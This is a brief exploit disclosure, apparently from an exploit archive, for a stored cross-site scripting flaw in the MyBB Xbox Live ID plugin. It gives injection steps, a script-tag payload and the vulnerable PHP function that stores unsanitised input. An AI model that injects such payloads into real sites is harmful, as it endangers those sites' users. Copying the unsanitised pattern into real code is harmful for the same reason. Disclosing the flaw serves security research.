MyBB Xbox Live ID Cross Site Scripting

`# Exploit Title: Xbox Live ID MyBB Plugin Stored XSS  
# Date: 13/12/2012  
# Exploit Author: limb0  
# Vendor Homepage: http://www.leveleando.com  
# Software Link: http://mods.mybb.com/view/profile-xbox-live-id  
# Version: 1.0  
# Category:Web Security  
# Tested on: Linux  
  
+------------------------------------------------------------+  
Stored XSS-Instructions  
1.Install&Activate plugin  
(Maybe you will get an error: About a "/" on line 31.  
Open your plugin file and delete the slash.The coder didn't notice that)  
2.Go to UserCP >> Edit Profile >> Xbox Live ID  
3.Inject your string(xss) ex. "><script>alert(1)</script>  
4.Visit your profile and voila  
  
Proof  
Inject:http://postimage.org/image/hpxk33od3/  
Result:postimage.org/image/6vzb5sqgd/  
+-------------------------------------------------------------+  
  
Vulnerable code:  
function profilexli_update($xli)  
{  
global $mybb;  
  
if (isset($mybb->input['xli']))  
{  
$xli->user_update_data['xli'] = $mybb->input['xli'];  
}  
}  
  
  
  
`